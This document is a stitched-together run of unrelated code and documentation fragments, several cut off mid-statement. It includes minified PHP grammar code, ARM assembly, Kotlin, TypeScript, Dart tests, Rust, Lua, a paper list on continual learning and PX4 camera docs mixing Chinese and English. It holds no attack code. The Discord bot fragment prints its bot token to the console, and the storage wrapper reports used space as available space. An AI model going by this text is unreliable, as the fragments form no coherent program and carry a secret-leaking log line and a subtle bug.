.peek(1)==123)||O.next==123&&O.peek(1)==36);t=!0){if(O.next==92){let i=Gk(O);if(i){if(t)break;return O.acceptToken(kT,i)}}else if(!t&&(O.next==91||O.next==45&&O.peek(1)==62&&Tr(O.peek(2))||O.next==63&&O.peek(1)==45&&O.peek(2)==62&&Tr(O.peek(3)))&&e.canShift(wT))break;O.advance()}t&&O.acceptToken(TT)}),Ak=H({"Visibility abstract final static":u.modifier,"for foreach while do if else elseif switch try catch finally return throw break continue default case":u.controlKeyword,"endif endfor endforeach endswitch endwhile declare enddeclare goto match":u.controlKeyword,"and or xor yield unset clone instanceof insteadof":u.operatorKeyword,"function fn class trait implements extends const enum global interface use var":u.definitionKeyword,"include include_once require require_once namespace":u.moduleKeyword,"new from echo print array list as":u.keyword,null:u.null,Boolean:u.bool,VariableName:u.variableName,"NamespaceName/...":u.namespace,"NamedType/...":u.typeName,Name:u.name,"CallExpression/Name":u.function(u.variableName),"LabelStatement/Name":u.labelName,"MemberExpression/Name":u.propertyName,"MemberExpression/VariableName":u.special(u.propertyName),"ScopedExpression/ClassMemberName/Name":u.propertyName,"ScopedExpression/ClassMemberName/VariableName":u.special(u.propertyName),"CallExpression/MemberExpression/Name":u.function(u.propertyName),"CallExpression/ScopedExpression/ClassMemberName/Name":u.function(u.propertyName),"MethodDeclaration/Name":u.function(u.definition(u.variableName)),"FunctionDefinition/Name":u.function(u.definition(u.variableName)),"ClassDeclaration/Name":u.definition(u.className),UpdateOp:u.updateOperator,ArithOp:u.arithmeticOperator,LogicOp:u.logicOperator,BitOp:u.bitwiseOperator,CompareOp:u.compareOperator,ControlOp:u.controlOperator,AssignOp:u.definitionOperator,"$ ConcatOp":u.operator,LineComment:u.lineComment,BlockComment:u.blockComment,Integer:u.integer,Float:u.float,String:u.string,ShellExpression:u.special(u.string),"=> ->":u.punctuation,"( )":u.paren,"#[ [ ]":u.squareBracket,"${ { }":u.brace,"-> ?->":u.derefOperator,", ; :: : \\":u.separator,"PhpOpen PhpClose":u.processingInstruction}),Lk={__proto__:null,static:311,STATIC:311,class:333,CLASS:333},om=se.deserialize({version:14,states:"$FvQ`OWOOQhQaOOP%oO`OOOOO#t'#H_'#H_O%tO#|O'#DtOOO#u'#Dw'#DwQ&SOWO'#DwO&XO$VOOOOQ#u'#Dx'#D


@ required. If not, the user code will
					@ retry the faulted instruction

last_VFP_context_address:
	.word	last_VFP_context

	.globl	vfp_get_float
vfp_get_float:
	add	pc, pc, r0, lsl #3
	mov	r0, r0
	.irp	dr,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
	mrc	p10, 0, r0, c\dr, c0, 0	@ fmrs	r0, s0
	mov	pc, lr
	mrc	p10, 0, r0, c\dr, c0, 4	@ fmrs	r0, s1
	mov	pc, lr
	.endr

	.globl	vfp_put_float
vfp_put_float:
	add	pc, pc, r0, lsl #3
	mov	r0, r0
	.irp	dr,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
	mcr	p10, 0, r1, c\dr, c0, 0	@ fmsr	r0, s0
	mo


        return diff
    }
}package com.example.httpsender

import android.util.Log
import androidx.lifecycle.LifecycleOwner
import com.example.httpsender.entity.Article
import com.example.httpsender.entity.PageList
import com.rxjava.rxlife.BaseScope
import com.rxjava.rxlife.life
import io.reactivex.rxjava3.core.Observable
import kotlinx.coroutines.*
import rxhttp.*
import rxhttp.wrapper.cache.CacheMode
import rxhttp.wrapper.param.RxHttp
import rxhttp.wrapper.param.toAwaitResponse
import java.util.concurrent.TimeUnit

/**
 * User: ljx
 * Date: 2019-05-26
 * Time: 15:20
 */
class Presenter(owner: LifecycleOwner) : BaseScope(owner) {

    fun test() {
        Observable.interval(1, 1, TimeUnit.SECONDS)
            .life(this) //这里的this 为Scope接口对象
            .subscribe { Log.e("LJX", "accept aLong=$it") }
    }

    fun testRetry() {
        val coroutineScope: CoroutineScope =
            CoroutineScope(SupervisorJob() + Dispatchers.Main.immediate)
        coroutineScope.launch {
            RxHttp.postForm("/article/query/0/json")
                .add("k", "性能优化")
                .setCacheMode(CacheMode.ONLY_NETWORK)
                .toAwaitResponse<PageList<Article>>()
                .delay(100)
                .startDelay(100)
                .onErrorReturnItem(PageList())
                .timeout(1000)
                .retry(2, 1000) {
                    it is TimeoutCancellationException
                }
                .awaitResult {
                    Log.e("RxHttp", "onNext = $it")
                }.onFailure {
                    Log.e("RxHttp", "onError = $it")
                }
        }
    }
}package com.example.httpsender.kt

import android.content.Context
import android.net.ConnectivityManager
import com.example.httpsender.AppHolder
import com.example.httpsender.Tip
import com.google.gson.JsonSyntaxException
import kotlinx.coroutines.TimeoutCancellationException
import rxhttp.wrapper.exception.HttpStatusCodeException
import rxhttp.wrapper.exception.ParseException
import java.net.ConnectException
import java.net.SocketTimeoutException
import java.net.UnknownHostException
import java.util.concurrent.TimeoutException

/**
 * User: ljx
 * Date: 2020-02-07
 * Time: 21:04
 */
fun Throwable.show() {
    errorMsg.show()
}

fun String.show() {
    Tip.show(this)
}

val Throwable.errorCode: Int
    get() =
        when (this) {
            is HttpStatusCodeException -> this.statusCode //Http状态码异常
            is ParseException -> this.errorCode.toIntOrNull() ?: -1     //业务code异常
            else -> -1
        }

val Throwable.errorMsg: String
    get() {
        return if (this is UnknownHostException) { //网络异常
            if (!isNetworkConnected(AppHolder.getInstance()))
                "当前无网络，请检查你的网络设置"
            else
                "网络连接不可用，请稍后重试！"
        } else if (
            this is SocketTimeoutException  //okhttp全局设置超时
            || this is TimeoutException     //rxjava中的timeout方法超时
            || this is TimeoutCancellationException  //协程超时
        ) {
            "连接超时,请稍后再试"
        } else if (this is Connect


return false;
  }

  // Set item
  public setItem(key: string, value: string) {
    if (this.isSupported) {
      return this.lokaleStorage.setItem(key, value);
    }
  }

  // Remove item
  public removeItem(key: string) {
    if (this.isSupported) {
      if (this.lokaleStorage.hasOwnProperty(key)) {
        return this.lokaleStorage.removeItem(key);
      }
    }
  }

  // Clear Storage
  public clear() {
    if (this.isSupported) {
      this.lokaleStorage.clear();
    }
  }

  // Get detailed space usage
  // TODO: Add functionality to get size of one item
  public getSpaceUsage(): ISpaceUsageResults {
    const result: ISpaceUsageResults = {
      availableSpace: "",
      usedSpace: "",
    };
    let usedSpace = 0;
    let hasSpace = true;
    let dummyData = "A";

    if (this.isSupported) {
      // Test available space
      while (hasSpace) {
        try {
          dummyData += dummyData;
          this.lokaleStorage.setItem("availableSpace", dummyData);
        } catch (e) {
          hasSpace = false;
        }
      }
      // Each key size & total used space
      Object.keys(this.lokaleStorage).forEach( (key) => {
        const amount = (this.lokaleStorage[key].length * 2) / 1024 / 1024;
        usedSpace += amount;
        result[key] = `${amount.toFixed(2)} MB`;
      });

      result.usedSpace = `${usedSpace.toFixed(2)} MB`;
      result.availableSpace = `${usedSpace.toFixed(2)} MB`;
      // Remove dummy data
      this.lokaleStorage.removeItem("availableSpace");
    }
    return result;
  }
}
import discord, { Message } from 'discord.js'
import { CommandHandler } from './commands/command_handler'
require('dotenv').config()

function validateConfig(botConf: string) {
    console.log(botConf);
    if (!botConf) {
        throw new Error('You need to specify your Discord bot token!');
    }
}

validateConfig(process.env.TOKEN);

const commandHandler = new CommandHandler(process.env.PREFIX);

const client = new discord.Client();

client.on('ready', () => {
    console.log(`Logged in as ${client.user.tag}!`);
});

client.on('message', async message => {
    // Check if the message was sent in the channel with the specified id.
    // NOTE, this defines the message variable that is going to be used later.
    if(message.channel.id === process.env.CHANNELID){
        // let test = await message.channel.messages.fetch();
        console.log('test');
        setTimeout(() => {
            message.delete();
        }, 3600000);
    }
  })

client.on('message', (message: Message) => {
    commandHandler.handleMessage(message);
});

client.on('error', (e) => {
    console.error('Discord client error!', e);
});

client.login(process.env.TOKEN);const PROMPT = '>>';

import { Lexer } from '../lexer/lexer.ts';
import { Tokens } from '../token/token.ts';

export const start = async (
  stdin = Deno.stdin,
  stdout = Deno.stdout,
): Promise<void> => {
  const buf = new Uint8Array(1024);
  while (true) {
    await stdout.write(new TextEncoder().encode(PROMPT));
    const n = await stdin.read(buf) as number;
    const line = new TextDecoder().decode(buf.subarray(0, n));
    const l = new Lexer(line);
    let tok = l.nextToken();
    while (tok.Type !== Tokens.EOF) {
      console.log(tok);
      tok = l.nextToken();
    }
  }
};
import {PackageJson} from 'type-fest';

const notFound = -1;
const empty = 0;
const


.REASON_LOW_MEMORY -> "LOW_MEMORY"
            ApplicationExitInfo.REASON_OTHER -> "OTHER"
            ApplicationExitInfo.REASON_SIGNALED -> "SIGNALED"
            ApplicationExitInfo.REASON_USER_REQUESTED -> "USER_REQUESTED"
            ApplicationExitInfo.REASON_UNKNOWN -> "UNKNOWN"
            else -> "UNKNOWN"
        }
    }
}
package sh.measure.android.lifecycle

import android.app.Application
import android.content.Context
import android.os.Bundle
import androidx.fragment.app.Fragment
import androidx.fragment.app.FragmentManager
import androidx.fragment.app.FragmentManager.FragmentLifecycleCallbacks

/**
 * An empty implementation of [Application.ActivityLifecycleCallbacks] that can be used to
 * keep it's implementors clean.
 */
internal abstract class FragmentLifecycleAdapter : FragmentLifecycleCallbacks() {
    override fun onFragmentAttached(fm: FragmentManager, f: Fragment, context: Context) {}
    override fun onFragmentCreated(fm: FragmentManager, f: Fragment, savedInstanceState: Bundle?) {}
    override fun onFragmentResumed(fm: FragmentManager, f: Fragment) {}
    override fun onFragmentPaused(fm: FragmentManager, f: Fragment) {}
    override fun onFragmentSaveInstanceState(fm: FragmentManager, f: Fragment, outState: Bundle) {}
    override fun onFragmentDestroyed(fm: FragmentManager, f: Fragment) {}
    override fun onFragmentDetached(fm: FragmentManager, f: Fragment) {}
}
package sh.measure.android.layoutinspector

internal fun List<Node>.generateSvg(targetNode: Node?, width: Int, height: Int): String {
    val uniqueNodes = this.distinctBy { node ->
        "${node.x},${node.y},${node.width},${node.height}"
    }

    val textNodes = uniqueNodes.filter { it.isText }
    val nonTextNodes = uniqueNodes.filter { !it.isText }

    return buildString {
        // SVG header with viewBox
        append(
            """
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 $width $height">
            <defs>
                <pattern id="d" width="24" height="24" patternTransform="rotate(45)" patternUnits="userSpaceOnUse">
                    <line y1="0" y2="24" stroke="#fef08a" stroke-width="3"/>
                </pattern>
                <linearGradient id="text-gradient" x1="0%" y1="0%" x2="0%" y2="100%">
                    <stop offset="0%" style="stop-color:#fef08a;stop-opacity:0.1"/>
                    <stop offset="100%" style="stop-color:#fef08a;stop-opacity:0.05"/>
                </linearGradient>
                <style>
                    .base-rect{fill:none}
                    .grey-rect{stroke:#64748b;stroke-width:5}
                    .text-rect{fill:url(#text-gradient)}
                    .target-rect{fill:url(#d);stroke:#fef08a;stroke-width:3}
                </style>
            </defs>
            """.trimIndent(),
        )

        // Background
        append(
            """
            <g>
            <rect width="100%" height="100%" fill="#262626"/>
            """.trimIndent(),
        )

        // Other nodes group
        if (nonTextNodes.isNotEmpty()) {
            append(
                """
                <g class="base-rect grey-rect">
                """.trimIndent(),
            )

            nonTextNodes.forEach { node ->
                appendRect(node, isTarget = node == targetNode)
            }

            append("</g>")
        }

        // Text nodes group
        if (textNodes.isNotEmpty()) {
            append("""<g class="text-rect">""")

            textNodes.forEach { node ->
                appendRect(node, isTarget = node == targetNode)
            }

            append("</g>")
        }

        // Close main group and SVG
        append("</g></svg>")
    }.replace(Regex("\\n\\s*"), "")
        .replace(Regex("\\s+"), " ")
        .trim()
}

private fun Str


. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
// VMOptions=--optimization-counter-threshold=10 --no-use-osr

import "package:expect/expect.dart";

main() {
  for (int i = 0; i < 20; i++) {
    Expect.isTrue(moo("x"));
    Expect.isFalse(moo("X"));
    Expect.isFalse(moo("xx"));
    Expect.isTrue(mooRev("x"));
    Expect.isFalse(mooRev("X"));
    Expect.isFalse(mooRev("xx"));
    Expect.isTrue(goo("Hello", "e"));
    Expect.isFalse(goo("Hello", "E"));
    Expect.isFalse(goo("Hello", "ee"));
    Expect.isTrue(gooRev("Hello", "e"));
    Expect.isFalse(gooRev("Hello", "E"));
    Expect.isFalse(gooRev("Hello", "ee"));
    Expect.isTrue(hoo("HH"));
    Expect.isFalse(hoo("Ha"));
    Expect.isTrue(hooRev("HH"));
    Expect.isFalse(hooRev("Ha"));
  }
  Expect.isFalse(moo(12));
  Expect.isFalse(mooRev(12));
  Expect.isTrue(goo([1, 2], 2));
  Expect.isTrue(gooRev([1, 2], 2));
  Expect.throws(() => hoo("H"), (e) => e is RangeError);
  Expect.throws(() => hooRev("H"), (e) => e is RangeError);
}

moo(j) {
  return "x" == j;
}

goo(a, j) {
  return a[1] == j;
}

// Check constant folding.
hoo(a) {
  return a[1] == ("Hello")[0];
}

mooRev(j) {
  return j == "x";
}

gooRev(a, j) {
  return j == a[1];
}

// Check constant folding.
hooRev(a) {
  return ("Hello")[0] == a[1];
}

// Copyright (c) 2013, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

import 'package:expect/expect.dart';

class A {
  foo(required1, { named1: 499}) => -(required1 + named1 * 3);
  bar(required1, required2, { named1: 13, named2: 17})
      => -(required1 + required2 * 3 + named1 * 5 + named2 * 7);
  gee({named1: 31}) => -named1;
}

class B extends A {
  foo(required1) => required1;
  bar(required1, required2, { named1: 29 })
      => required1 + required2 * 3 + named1 * 5;
  gee({named2: 11}) => named2 * 99;
}

main() {
  var b = new B();
  Expect.throws(() => b.foo(499, named1: 88), (e) => e is NoSuchMethodError);
  Expect.throws(() => b.bar(1, 2, named1: 3, named2: 88),
                (e) => e is NoSuchMethodError);
  Expect.throws(() => b.bar(1, 2, named2: 88),
                (e) => e is NoSuchMethodError);
  Expect.throws(() => b.gee(named1: 3),
                (e) => e is NoSuchMethodError);
}
// Copyright (c) 2011, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can


2022 | ICLR
| [Continual Normalization: Rethinking Batch Normalization for Online Continual Learning](https://openreview.net/pdf?id=vwLLQ-HwqhZ) | 2022 | ICLR
| [Navigating Memory Construction by Global Pseudo-Task Simulation for Continual Learning](https://proceedings.neurips.cc/paper_files/paper/2022/file/3013680bf2d072b5f3851aec70b39a59-Paper-Conference.pdf) |  2022 |NeurIPS
| [Not Just Selection, but Exploration: Online Class-Incremental Continual Learning via Dual View Consistency](https://openaccess.thecvf.com/content/CVPR2022/papers/Gu_Not_Just_Selection_but_Exploration_Online_Class-Incremental_Continual_Learning_via_CVPR_2022_paper.pdf) |2022 | CVPR
| [Online Task-free Continual Learning with Dynamic Sparse Distributed Memory](https://www.ecva.net/papers/eccv_2022/papers_ECCV/papers/136850721.pdf) | 2022 | ECCV
| [Mitigating Forgetting in Online Continual Learning with Neuron Calibration](https://proceedings.neurips.cc/paper/2021/file/54ee290e80589a2a1225c338a71839f5-Paper.pdf) | 2021 | NeurIPS
| [Online class-incremental continual learning with adversarial shapley value](https://arxiv.org/pdf/2009.00093.pdf) | 2021 | AAAI
| [Online Continual Learning with Natural Distribution Shifts: An Empirical Study with Visual Data](https://openaccess.thecvf.com/content/ICCV2021/papers/Cai_Online_Continual_Learning_With_Natural_Distribution_Shifts_An_Empirical_Study_ICCV_2021_paper.pdf) |2021 | ICCV
| [Continual Prototype Evolution: Learning Online from Non-Stationary Data Streams](https://openaccess.thecvf.com/content/ICCV2021/papers/De_Lange_Continual_Prototype_Evolution_Learning_Online_From_Non-Stationary_Data_Streams_ICCV_2021_paper.pdf) | 2021 | ICCV
| [La-MAML: Look-ahead Meta Learning for Continual Learning](https://proceedings.neurips.cc/paper/2020/file/85b9a5ac91cd629bd3afe396ec07270a-Paper.pdf) | 2020 |NeurIPS
| [Online Learned Continual Compression with Adaptive Quantization Modules](http://proceedings.mlr.press/v119/caccia20a/caccia20a.pdf) | 2020 | ICML
| [Online Continual Learning under Extreme Memory Constraints](https://www.ecva.net/papers/eccv_2020/papers_ECCV/papers/123730715.pdf) | 2020| ECCV
| [Online Continual Learning with Maximally Interfered Retrieval](https://proceedings.neurips.cc/paper/2019/file/15825aee15eb335cc13f9b559f166ee8-Paper.pdf) | 2019 | NeurIPS
| [Gradient based sample selection for online continual learning](https://proceedings.neurips.cc/paper_files/paper/2019/file/e562cd9c0768d5464b64cf61da7fc6bb-Paper.pdf) | 2019 | NeurIPS
| [On Tiny Episodic Memories in Continual Learning](https://arxiv.org/pdf/1902.10486.pdf) | Arxiv | 2019
| [Progress & Compress: A scalable framework for continual learning](https://proceedings.mlr.press/v80/schwarz18a/schwarz18a.pdf) | 2018 | ICML

The presence of **imbalanced data** streams in CL (especially online CL) has drawn significant attention, primarily due to its prevalence in real-world application scenarios.

| **Paper Title** | **Year** | **Conference/Journal** |
| --------------- | :----: | :----: |
| [Replay Without Saving:


ool {
        unsafe { (self.small.len & LARGE_FLAG) == LARGE_FLAG }
    }

    pub fn as_str(&self) -> &str {
        unsafe {
            from_utf8_unchecked(if self.is_large() {
                slice::from_raw_parts(self.large.data.as_ptr(), self.large.len & LARGE_MASK)
            } else {
                slice::from_raw_parts(self.small.data.as_ptr(), self.small.len as usize)
            })
        }
    }

    pub fn push_str(&mut self, string: &str) {
        let str_len = string.len();
        unsafe {
            if self.is_large() {
                let old_len = self.large.len & LARGE_MASK;
                let new_len = old_len + str_len;
                let mut capacity = self.large.capacity;
                match self.large.data.get_mut() {
                    Some(old_data) => {
                        if capacity < new_len {
                            let new_capacity =
                                ArcVecU8::align_capacity(std::cmp::max(new_len, capacity * 3 / 2));
                            old_data.reserve(capacity, new_capacity);
                            capacity = new_capacity;
                        }
                        old_data.extend_from(old_len, string.as_ptr(), str_len);
                    }
                    None => {
                        let new_capacity = ArcVecU8::align_capacity(new_len);
                        let mut new_data = ArcVecU8::with_capacity(new_capacity);
                        new_data.extend_from(0, self.large.data.as_ptr(), old_len);
                        new_data.extend_from(old_len, string.as_ptr(), str_len);
                        self.large.data.drop(capacity);
                        self.large.data = new_data;
                        capacity = new_capacity;
                    }
                }
                self.large.capacity = capacity;
                self.large.len = new_len | LARGE_BIT;
            } else {
                let old_len = self.small.len as usize;
                let new_len = old_len + str_len;
                if new_len <= SMALL_CAPACITY {
                    ptr::copy_nonoverlapping(
                        string.as_ptr(),
                        self.small.data.as_mut_ptr().add(old_len),
                        str_len,
                    );
                    self.small.len = new_len as u8;
                } else {
                    let new_capacity = ArcVecU8::align_capacity(new_len);
                    let mut new_data = ArcVecU8::with_capacity(new_capacity);
                    new_data.extend_from(0, self.small.data.as_ptr(), old_len);
                    new_data.extend_from(old_len, string.as_ptr(), str_len);
                    *self = StringInner {
                        large: ManuallyDrop::new(Large {
                            data: new_data,
                            capacity: new_capacity,
                            len: new_len | LARGE_BIT,
                        }),
                    };
                }
            }
        }
    }

    pub fn remove(&mut self, idx: usize) -> char {
        // TODO This isn't optimal, we check is_large twice, here and below:
        let ch = match self.as_str()[idx..].chars().next() {
            Some(ch) => ch,
            None => panic!("cannot remove a char from the end of a string"),
        };

        let len_ch = ch.len_utf8();
        let next = idx + len_ch;
        unsafe {
            if self


Instance {
                px: IVec2::new(0, 0),
                src: IVec2::new(0, 0),
                t: 0,
                f: 0,
                ..Default::default()
            },
            TileInstance {
                px: IVec2::new(32, 0),
                src: IVec2::new(0, 0),
                t: 0,
                f: 1,
                ..Default::default()
            },
            TileInstance {
                px: IVec2::new(0, 32),
                src: IVec2::new(0, 0),
                t: 0,
                f: 2,
                ..Default::default()
            },
            TileInstance {
                px: IVec2::new(64, 0),
                src: IVec2::new(0, 0),
                t: 0,
                f: 3,
                ..Default::default()
            },
        ];

        let mut tile_maker = tile_pos_to_tile_maker(2, 32, grid_tiles);

        assert!(!tile_maker(TilePos(0, 0)).unwrap().flip_x);
        assert!(tile_maker(TilePos(0, 0)).unwrap().flip_y);

        assert!(!tile_maker(TilePos(0, 1)).unwrap().flip_x);
        assert!(!tile_maker(TilePos(0, 1)).unwrap().flip_y);

        assert!(tile_maker(TilePos(1, 1)).unwrap().flip_x);
        assert!(!tile_maker(TilePos(1, 1)).unwrap().flip_y);

        assert!(tile_maker(TilePos(2, 1)).unwrap().flip_x);
        assert!(tile_maker(TilePos(2, 1)).unwrap().flip_y);
    }

    #[test]
    fn test_tile_pos_to_tile_bundle_if_int_grid_nonzero_maker() {
        let int_grid_csv = vec![0, 1, 2, -1, 0, 3];

        let mut tile_bundle_maker = tile_pos_to_tile_bundle_if_int_grid_nonzero_maker(
            tile_pos_to_invisible_tile,
            &int_grid_csv,
            3,
            2,
        );

        assert!(tile_bundle_maker(TilePos(0, 0)).is_some());
        assert!(tile_bundle_maker(TilePos(1, 0)).is_none());
        assert!(tile_bundle_maker(TilePos(2, 0)).is_some());
        assert!(tile_bundle_maker(TilePos(0, 1)).is_none());
        assert!(tile_bundle_maker(TilePos(1, 1)).is_some());
        assert!(tile_bundle_maker(TilePos(2, 1)).is_some());
    }
}
/**
 * Copyright 2019 <NAME>
 */
extern crate num;
extern crate num_traits;

extern crate sysinfo;
#[macro_use]
extern crate num_derive;

mod constants;
mod metrics;
mod render;
mod util;
mod zprocess;

use crate::render::TerminalRenderer;
use clap::{App, Arg};
use dirs;
use futures::executor::block_on;
use std::error::Error;
use std::fs;
use std::fs::{remove_file, File};
use std::io::{Write, stdout};
use std::panic;
use std::panic::PanicInfo;
use std::path::Path;
use std::process::exit;
use termion::input::MouseTerminal;
use termion::raw::IntoRawMode;
use termion::screen::AlternateScreen;
use tui::backend::TermionBackend;
use tui::Terminal;

fn panic_hook(info: &PanicInfo<'_>) {
    let location = info.location().unwrap(); // The current implementation always returns Some
    let msg = match info.payload().downcast_ref::<&'static str>() {
        Some(s) => *s,
        None => match info.payload().downcast_ref::<String>() {
            Some(s) => &s[..],
            None => "Box<Any>",
        },
    };
    println!(


lder [Camera Protocol v1](https://mavlink.io/en/services/camera.html).
- [Cameras attached to flight controller outputs](../camera/fc_connected_camera.md), which are controlled using the [Camera Protocol v1](https://mavlink.io/en/services/camera.html).

推荐[MAVLink 摄像头](../camera/mavlink_v2_camera.md)，因为它们使用简单一致的命令/消息集提供了最广泛的相机功能访问。
如果相机不支持该协议，则可以在一台机载计算机上运行[摄像机管理器](../camera/mavlink_v2_camera.md#camera-managers)以在 MAVLink 和相机的本机协议之间进行接口交互。

## See Also

- [云台(相机支架)](../advanced/gimbal_control.md)
- [相机集成/架构](../camera/camera_architecture.md) ( PX4 开发者)
# PX4 Camera Architecture/Integration

This topic provides a brief overview of how PX4 camera support is **implemented**.

:::info
See [Camera](../camera/index.md) for information about _using_ cameras.
:::

## 综述

PX4 integrates with three types of cameras:

- [MAVLink cameras](../camera/mavlink_v2_camera.md) that support the [Camera Protocol v2](https://mavlink.io/en/services/camera.html) (**RECOMMENDED**).
- [Simple MAVLink cameras](../camera/mavlink_v1_camera.md) that support the older [Camera Protocol v1](https://mavlink.io/en/services/camera.html).
- [Cameras attached to flight controller outputs](../camera/fc_connected_camera.md), which are controlled using the [Camera Protocol v1](https://mavlink.io/en/services/camera.html).

All of these cameras need to respond to MAVLink commands received over MAVLink or found in missions (the specific protocol depends on the camera).

The broad architecture used is described below.

## MAVLink Cameras (Camera Protocol v2)

PX4 does not have specific handling for [MAVLink cameras](../camera/mavlink_v2_camera.md) that support the [Camera Protocol v2](https://mavlink.io/en/services/camera.html), other than [re-emitting camera items in missions as commands](#camera-commands-in-missions)

Ground stations are expected to communicate with these cameras directly in order to send commands.
PX4 must be configured to route MAVLink traffic between the camera and ground stations if needed.

:::info
The `camera_trigger`, `camera_capture` and `camera_feedback` modules are not used with this camera.
:::

## FC-connected Cameras

[Cameras attached to flight controller outputs](../camera/fc_connected_camera.md) need PX4 to activate the outputs to trigger the camera, and may need PX4 to detect when a [camera capture pin](../camera/fc_connected_camera.md#camera-capture-configuration) has been triggered by the camera hotshoe (in order to improve the logged camera-capture time).

This work is handled by three PX4 components: [`camera_trigger` driver


 else if (n < 1) {
                    sb.append("1")
                } else {
                    sb.append(n.toString())
                }

                sb.append("#${data.last().toLong()}##${data.size - 2}")

                sb.toString()
            }
        }
    }

    companion object {
        val ZERO = BigNum(doubleArrayOf(1.0, 0.0))
        val ONE = BigNum(doubleArrayOf(1.0, 1.0))
        val TEN = BigNum(doubleArrayOf(1.0, 10.0))
        val NaN = BigNum(doubleArrayOf(1.0, Double.NaN))
        val POSITIVE_INFINITY = BigNum(doubleArrayOf(1.0, Double.POSITIVE_INFINITY))
        val NEGATIVE_INFINITY = BigNum(doubleArrayOf(-1.0, Double.POSITIVE_INFINITY))

        // -- CONFIG --
        private const val MAX_DISP_INTEGER = 1000000.0
        // X where X+1 is highest possible number
        private const val MAX_SAFE_INTEGER = Long.MAX_VALUE - 1
        // 10^MAX_SAFE_INTEGER
        private val E_MAX_SAFE_INTEGER = BigNum(doubleArrayOf(1.0, 15.954589770191, 2.0))
        // 10^10^MAX_SAFE_INTEGER
        private val EE_MAX_SAFE_INTEGER = BigNum(doubleArrayOf(1.0, 15.954589770191, 3.0))
        // 10^^MAX_SAFE_INTEGER
        private val TETRATED_MAX_SAFE_INTEGER = BigNum(doubleArrayOf(1.0, 10.0, 9007199254740981.0))
        // 10^^^MAX_SAFE_INTEGER
        private val ARROW3_MAX_SAFE_INTEGER = BigNum(doubleArrayOf(1.0, 10.0, 9.0, 89.0))

        private fun normalized(arr: DoubleArray): BigNum {
            val out = arr.toMutableList()

            if (out.size == 2 && out.last() == 0.0) {
                out[0] = 1.0
            }

            // Normalize indices
            for (i in out.lastIndex downTo 1) {
                val exp = out[i]

                if (exp.isNaN()) {
                    return BigNum.NaN
                }

                if (exp.isInfinite()) {
                    return if (exp == Double.NEGATIVE_INFINITY) BigNum.NEGATIVE_INFINITY else BigNum.POSITIVE_INFINITY
                }

                if (i != 1) {
                    out[i] = floor(exp)
                }
            }

            do {
                var loop = false

                // Remove trailing 0s
                while (out.size > 2 && out.last() == 0.0) {
                    out.removeLast()
                    loop = true
                }

                // Start setting exponents after max disp
                if (out[1] > MAX_DISP_INTEGER) {
                    out[1] = log10(out[1])
                    out.getOrNull(2)?.let {
                        out[2] = it + 1
                    } ?: run {
                        out.add(1.0)
                    }
                    loop = true
                }

                // Reduce exponent of stacks if root is low
                while (out[1] < log10(MAX_DISP_INTEGER) && out.getOrElse(2) { 0.0 } != 0.0) {
                    out[1] = 10.0.pow(out[1])
                    out[2] = out[2] - 1
                    loop = true
                }

                // Work around max numbers
                for (i in 1 until out.size) {
                    if (out[i] > MAX_SAFE_INTEGER) {
                        out.getOrNull(i


Process({
      isDev,
      lndSettingsDir,
      lndPort: LND_PORT,
      lndPeerPort: LND_PEER_PORT,
      lndRestPort: LND_REST_PORT,
      lndProfilingPort: LND_PROFILING_PORT,
      logger: Logger,
      lndArgs,
    });
  } catch (err) {
    Logger.error(`Caught Error When Starting lnd: ${err}`);
  }
};

// Check for updates
autoUpdater.on('update-downloaded', () => {
  const opt = {
    type: 'question',
    buttons: ['Install', 'Later'],
    title: 'Update available',
    message: 'An update is available. Restart the app and install?',
  };
  dialog.showMessageBox(win, opt, choice => {
    if (choice !== 0) return;
    setTimeout(() => autoUpdater.quitAndInstall(), 100);
  });
});

function initAutoUpdate() {
  if (isDev || AUTO_UPDATE_ENABLED !== true) return;
  autoUpdater.checkForUpdates();
  const oneHour = 60 * 60 * 1000;
  setInterval(() => autoUpdater.checkForUpdates(), oneHour);
}

// This method will be called when Electron has finished
// initialization and is ready to create browser windows.
// Some APIs can only be used after this event occurs.
app.on('ready', () => {
  initAutoUpdate();
  createWindow();
  initApplicationMenu();
  startLnd();
});

// Quit when all windows are closed.
app.on('window-all-closed', () => {
  // On macOS it is common for applications and their menu bar
  // to stay active until the user quits explicitly with Cmd + Q
  app.quit();
});

app.on('activate', () => {
  // On macOS it's common to re-create a window in the app when the
  // dock icon is clicked and there are no other windows open.
  if (win === null) {
    createWindow();
  }
});

app.on('quit', () => {
  lndProcess && lndProcess.kill('SIGINT');
  btcdProcess && btcdProcess.kill('SIGINT');
});

// Prevent multiple instances of the application.
const gotTheLock = app.requestSingleInstanceLock();
if (!gotTheLock) app.quit();
app.on('second-instance', (event, args) => {
  if (process.platform == 'win32') {
    const protocolUrl = args && args.slice(1)[0];
    if (protocolUrl) onOpenUrl(null, protocolUrl);
  }
  if (win) {
    if (win.isMinimized()) win.restore();
    win.focus();
  }
});

app.setAsDefaultProtocolClient(PREFIX_NAME);
const onOpenUrl = async (event, url) => {
  while (!win) {
    await new Promise(resolve => setTimeout(resolve, LND_INIT_DELAY));
  }
  win && win.webContents.send('open-url', url);
};
app.on('open-url', onOpenUrl);

process.on('uncaughtException', error => {
  Logger.error(`Caught Main Process Error: ${error}`);
});

// Create the Application's main menu
function initApplicationMenu() {
  const template = [
    {
      label: 'Edit',
      submenu: [
        { role: 'undo' },
        { role: 'redo' },
        { type: 'separator' },
        { role: 'cut' },
        { role: 'copy' },
        { role: 'paste' },
        { role: 'pasteandmatchstyle' },
        { role: 'delete' },
        { role: 'selectall' },
      ],
    },
  ];
  if (process.platform === 'darwin') {
    template.unshift({
      label: app.getName(),


-- Configs for LSP client

-- local on_attach = require("util.lsp").on_attach

return {
	"neovim/nvim-lspconfig",
	config = function ()
    require("util.icons"


Token = await user?.getIdToken())
    .asBroadcastStream();
import 'package:firebase_auth/firebase_auth.dart';
import 'package:rxdart/rxdart.dart';

import '../base_auth_user_provider.dart';

export '../base_auth_user_provider.dart';

class FfSourceCodeFirebaseUser extends BaseAuthUser {
  FfSourceCodeFirebaseUser(this.user);
  User? user;
  bool get loggedIn => user != null;

  @override
  AuthUserInfo get authUserInfo => AuthUserInfo(
        uid: user?.uid,
        email: user?.email,
        displayName: user?.displayName,
